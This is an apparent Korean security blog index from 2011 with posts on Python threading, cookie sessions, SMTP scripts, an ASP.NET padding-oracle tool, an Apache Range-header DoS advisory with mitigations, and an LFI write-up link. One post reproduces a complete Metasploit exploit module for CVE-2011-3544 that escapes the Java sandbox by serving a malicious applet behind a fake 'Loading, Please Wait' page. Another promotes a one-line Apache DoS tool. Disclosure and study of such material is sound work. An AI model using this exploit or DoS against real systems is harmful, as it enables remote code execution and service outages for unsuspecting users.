'Hello_World!'에 해당되는 글 24건

  1. 2011.12.22 Python threads - a first example by bitfox
  2. 2011.12.01 [Remote Exploits] Java Applet Rhino Script Engine Remote Code Execution by bitfox
  3. 2011.11.30 파이썬 로그인 세션유지 by bitfox
  4. 2011.11.30 KillApachePy by bitfox
  5. 2011.10.19 How ASP.NET Security Vulnerability affects Kentico CMS by bitfox
  6. 2011.10.05 파이썬 v2.7.2 - email: Examples by bitfox
  7. 2011.10.05 Python - Sending Email using SMTP by bitfox
  8. 2011.10.05 Gmail의 SMTP를 이용한 메일 발송 by bitfox
  9. 2011.09.18 Range header DoS vulnerability in Apache 1.3 and Apache 2 by bitfox
  10. 2011.09.14 LFI With PHPInfo Assistance by bitfox
[참조] http://www.wellho.net/solutions/python-python-threads-a-first-example.html

Python threads - a first example

If you have a process that you want to do several things at the same time, threads may be the answer for you. They let you set up a series of processes (or sub-processes) each of which can be run independently, but which can be brought back together later and/or co-ordinated as they run.

'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글

파이썬 로그인 세션유지  (0) 2011.11.30
KillApachePy  (0) 2011.11.30
파이썬 v2.7.2 - email: Examples  (0) 2011.10.05
Python - Sending Email using SMTP  (0) 2011.10.05
Gmail의 SMTP를 이용한 메일 발송  (0) 2011.10.05
Posted by bitfox
l
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
require 'msf/core'
require 'rex'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpServer::HTML
  
    def initialize( info = {} )
        super( update_info( info,
            'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
            'Description'   => %q{
                    This module exploits a vulnerability in the Rhino Script Engine that
                can be used by a Java Applet to run arbitrary Java code outside of
                the sandbox.  The vulnerability affects version 7 and version 6 update
                27 and earlier, and should work on any browser that supports Java
                (for example: IE, Firefox, Google Chrome, etc)
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Michael Schierl', # Discovery
                    'juan vazquez',    # metasploit module
                    'Edward D. Teach <teach@consortium-of-pwners.net>',
                    'sinn3r'
                ],
            'References'    =>
                [
                    [ 'CVE', '2011-3544' ],
                    [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
                    [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
                ],
            'Platform'      => [ 'java', 'win', 'linux' ],
            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ],
                    [ 'Apple OSX',
                        {
                            'ARCH' => ARCH_X86,
                            'Platform' => 'osx'
                        }
                    ],
                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 18 2011'
            ))
    end
  
  
    def on_request_uri( cli, request )
        if not request.uri.match(/\.jar$/i)
            if not request.uri.match(/\/$/)
                send_redirect(cli, get_resource() + '/', '')
                return
            end
  
            print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
  
            send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
            return
        end
  
        paths = [
            [ "Exploit.class" ]
        ]
  
        p = regenerate_payload(cli)
  
        jar  = p.encoded_jar
        paths.each do |path|
            1.upto(path.length - 1) do |idx|
                full = path[0,idx].join("/") + "/"
                if !(jar.entries.map{|e|e.name}.include?(full))
                    jar.add_file(full, '')
                end
            end
            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
            data = fd.read(fd.stat.size)
            jar.add_file(path.join("/"), data)
            fd.close
        end
  
        print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
        send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
  
        handler( cli )
    end
  
    def generate_html
        html  = "<html><head><title>Loading, Please Wait...</title></head>"
        html += "<body><center><p>Loading, Please Wait...</p></center>"
        html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
        html += "</applet></body></html>"
        return html
    end
  
[출처] exploit-db



[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

'Hello_World! > 오라절친_JSP' 카테고리의 다른 글

관리자 페이지 IP 제한  (0) 2011.08.11
Hello World in JSP  (0) 2011.08.11
Posted by bitfox
l

If you want to keep the authentication you need to reuse the cookie. I'm not sure if urllib2 is available in python 2.3.4 but here is an example on how to do it:

req1 = urllib2.Request(url1) 
response
= urllib2.urlopen(req1) 
cookie
= response.headers.get('Set-Cookie') 
 
# Use the cookie is subsequent requests 
req2
= urllib2.Request(url2) 
req2
.add_header('cookie', cookie) 
response
= urllib2.urlopen(req2) 

 

-------------------------------------------------------------------------

If this is cookie based authentication use HTTPCookieProcessor:

import cookielib, urllib2 
cj
= cookielib.CookieJar() 
opener
= urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
r
= opener.open("http://example.com/") 

If this is HTTP authentication use basic or digest AuthHandler:

import urllib2 
# Create an OpenerDirector with support for Basic HTTP Authentication... 
auth_handler
= urllib2.HTTPBasicAuthHandler() 
auth_handler
.add_password(realm='PDQ Application', 
                          uri
='https://mahler:8092/site-updates.py', 
                          user
='klem', 
                          passwd
='kadidd!ehopper') 
opener
= urllib2.build_opener(auth_handler) 
# ...and install it globally so it can be used with urlopen. 
urllib2
.install_opener(opener) 
urllib2
.urlopen('http://www.example.com/login.html') 

... and use same opener for every request.



[출처] http://stackoverflow.com/questions/923296/keeping-a-session-in-python-while-making-http-requests

'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글

Python threads - a first example  (0) 2011.12.22
KillApachePy  (0) 2011.11.30
파이썬 v2.7.2 - email: Examples  (0) 2011.10.05
Python - Sending Email using SMTP  (0) 2011.10.05
Gmail의 SMTP를 이용한 메일 발송  (0) 2011.10.05
Posted by bitfox
l

CVE-2011-3192 취약점을 이용한 아파치 서버를 멈추게 하는 툴이 파이썬 버젼으로 나왔습니다. 아주 간단한 명령어 한줄로 아파치 서버를 멈추게 할 수 있으니 패치바랍니다.


펄 버젼은 예전에 갖고 있었는데 공개하기가 참....그렇습니다. 파이썬 또한 그러네요..접..


취약점 간단 요약..
-----------------------------------------------------------------
Title:       Range header DoS vulnerability Apache HTTPD prior to 2.2.20.

CVE:         CVE-2011-3192
Last Change: 20110831 1800Z
Date:        20110824 1600Z
Product:     Apache HTTPD Web Server
Versions:    Apache 2.0 - all versions prior to 2.2.20 and prior to 2.0.65
             Apache 1.3 is NOT vulnerable.
-----------------------------------------------------------------



패치 방법 아래 링크 참조
http://httpd.apache.org/security/CVE-2011-3192.txt


[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.


Posted by bitfox
l
asp.net의 잘못된 셋팅시 ScriptResource.axd 또는 WebResource.axd를 이용하여 web.config 파일의 중요정보를 획득할 수 있다. 아래 링크를 통해 취약점을 알아보고 대비하자.
(이와 같은 취약점 : http://bitfox.tistory.com/159 참조)

http://devnet.kentico.com/Blogs/Martin-Hejtmanek/September-2010/How-ASP-NET-Security-Vulnerability-affects-Kentico.aspx

tool download
https://github.com/GDSSecurity/PadBuster







[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

'Hello_World! > 마소친구_ASP' 카테고리의 다른 글

관리자 페이지 IP 제한  (0) 2011.08.11
Hello World in ASP  (0) 2011.08.11
Hello World in ASPX  (0) 2011.08.11
Posted by bitfox
l

Here are a few examples of how to use the email package to read, write, and send simple email messages, as well as more complex MIME messages.


[출처] http://docs.python.org/library/email-examples.html

'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글

파이썬 로그인 세션유지  (0) 2011.11.30
KillApachePy  (0) 2011.11.30
Python - Sending Email using SMTP  (0) 2011.10.05
Gmail의 SMTP를 이용한 메일 발송  (0) 2011.10.05
Web Shell Detection Using NeoPI  (0) 2011.09.01
Posted by bitfox
l

Simple Mail Transfer Protocol (SMTP) is a protocol which handles sending e-mail and routing e-mail between mail servers.




[출처] http://www.tutorialspoint.com/python/python_sending_email.htm

'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글

KillApachePy  (0) 2011.11.30
파이썬 v2.7.2 - email: Examples  (0) 2011.10.05
Gmail의 SMTP를 이용한 메일 발송  (0) 2011.10.05
Web Shell Detection Using NeoPI  (0) 2011.09.01
[md5 cracker] icrack  (0) 2011.09.01
Posted by bitfox
l
#!/usr/bin/env python
# Gmail SMTP script by joon
# Snippets from the following codes were used:
# http://www.go4expert.com/forums/showthread.php?t=7567
# http://docs.python.org/library/email-examples.html?highlight=sendmail
# http://djkaos.wordpress.com/2009/04/08/python-gmail-smtp-send-email-script/
import smtplib
from email.mime.text import MIMEText
sender = 'sender@gmail.com'
recipients = 'toEmailAddress'
msg = MIMEText('Email Contents')
msg['Subject'] = 'Email Subject'
msg['From'] = sender
msg['To'] = recipients
smtpserver = 'smtp.gmail.com'
smtpuser = 'ID' # set SMTP username here
smtppass = 'Password' # set SMTP password here
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
session.login(smtpuser, smtppass)
smtpresult = session.sendmail(sender, [recipients], msg.as_string())
if smtpresult:
  errstr = ""
  for recip in smtpresult.keys():
      errstr = """Could not delivery mail to: %s
Server said: %s
%s
%s""" % (recip, smtpresult[recip][0], smtpresult[recip][1], errstr)
  raise smtplib.SMTPException, errstr
session.close()
[출처] https://gist.github.com/840116#file_gmailsmtp.py



[주의] 본 자료는 연구용 및 학습자료로 사용하길 바라며, 악의적인 사용시 
사용자 본인에게 책임이 있음을 명시합니다.



'Hello_World! > 애플추가_파이썬' 카테고리의 다른 글

파이썬 v2.7.2 - email: Examples  (0) 2011.10.05
Python - Sending Email using SMTP  (0) 2011.10.05
Web Shell Detection Using NeoPI  (0) 2011.09.01
[md5 cracker] icrack  (0) 2011.09.01
[자작쉘] http URL 긁어오기  (0) 2011.08.08
Posted by bitfox
l
집에서 아파치 섭을 테스트 하는 과정에서 아파치 구 버젼에 대한 Denial Of Service를 테스트 해보았는데.. 가상 섭이라 그런지 크게 장애가 발생하지는 않았다. 하지만 공격코드를 어떻게 조합하느냐에 따라 큰 장애를 만들 수 있으니 패치 하시길 바랍니다.

[출처] http://marc.info/?l=apache-httpd-dev&m=131418828705324&w=2

List:       apache-httpd-dev
Subject:    Re: CVE-2011-3192: Range header DoS vulnerability in Apache 1.3 and Apache 2  (DRAFT-2)
From:       Dirk-Willem van Gulik <dirkx () webweaving ! org>
Date:       2011-08-24 12:17:32
Message-ID: 5E9A092C-A449-4318-8A31-FA0481EB04B7 () webweaving ! org
[Download message RAW]


* Updated with Rudigers comments.

* Do we have consensus that the deflate stuff needs to go out - is not relevant ?

* More Comments please. Esp. on the quality and realisticness of the mitigtions.

Thanks,

Title:     CVE-2011-3192: Range header DoS vulnerability in Apache 1.3 and Apache 2
Date:       20110824 1600Z
# Last Updated:  20110824 1600Z
Product:   Apache Web Server
Versions:  Apache 1.3 all versions, Apache 2 all versions

Description:
------------

A denial of service vulnerability has been found in the way the multiple overlapping \
ranges are handled by apache (http://seclists.org/fulldisclosure/2011/Aug/175). It \
most commonly manifests itself when static content is made available with compression \
on the fly through mod_deflate - but other modules which buffer and/or generate \
content in-memory are likely to be affected as well.

This is a very common (the default right!?) configuration.

The attack can be done remotely and with a modest number of requests leads to very \
significant memory and CPU usage.

Active use of this tools has been observed in the wild.

There is currently no patch/new version of apache which fixes this vulnerability. \
This advisory will be updated when a long term fix is available. A fix is expected in \
the next 96 hours.

Mitigation:
------------

However are several immediate options to mitigate this issue until that time:

1) Use mod_headers to dis-allow the use of Range headers:

RequestHeader unset Range

Note that this may break certain clients - such as those used for
e-Readers and progressive/http-streaming video.

2) Use mod_rewrite to limit the number of ranges:

RewriteCond %{HTTP:range} ^bytes=[^,]+(,[^,]+){0,4}$
RewriteRule .* - [F]

3) Limit the size of the request field to a few hundred bytes. Note that while this
keeps the offending Range header short - it may break other headers; such as sizable
cookies or security fields.

LimitRequestFieldSize 200

Note that as the attack evolves in the field you are likely to have
to further limit this and/or impose other LimitRequestFields limits.

See: http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize

3) Deploy a Range header count module as a temporary stopgap measure:

http://people.apache.org/~dirkx/mod_rangecnt.c

4) If your server (only) server static content then disable compression-on-the-fly \
by:

1) removing mod_deflate as a loaded module and/or by removing any
AddOutputFilterByType/SetOutputFilter DEFLATE entries.

2) Disable it with "BrowserMatch .* no-gzip"

See: http://httpd.apache.org/docs/2.0/mod/mod_deflate.html
http://httpd.apache.org/docs/2.2/mod/mod_deflate.html

5) Apply any of the current patches under discussion - such as:

http://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3cCAAPSnn2PO-d-C4nQt_ \
TES2RRWiZr7urefhTKPWBC1b+K1Dqc7g@mail.gmail.com%3e

Actions:
--------
Apache HTTPD users are advised to investigate wether they are vulnerable (e.g. allow \
Range headers and use mod_deflate) and consider implementing any of the above \
mitigations.

Planning:
--------

This advisory will be updated when a fix/patch or new release is available. A patch \
or new apache release for Apache 2.0 and 2.2 is expected in the next 96 hours. Note \
that, while popular, Apache 1.3 is deprecated.

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

'Hello_World! > 인디언말_PHP' 카테고리의 다른 글

LFI With PHPInfo Assistance  (0) 2011.09.14
Oddities of PHP file access in Windows®.Cheat-sheet.  (0) 2011.09.14
php base64  (0) 2011.08.26
관리자 페이지 IP 제한  (0) 2011.08.11
Hello World in PHP  (0) 2011.08.11
Posted by bitfox
l
LFI 취약점에 대한 공략 방식을 잘 설명해 놓았다.
잘 인지하고 방어하자.



[출처 및 다운로드] exploit-DB & http://www.exploit-db.com/download_pdf/17799


[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.


Posted by bitfox
l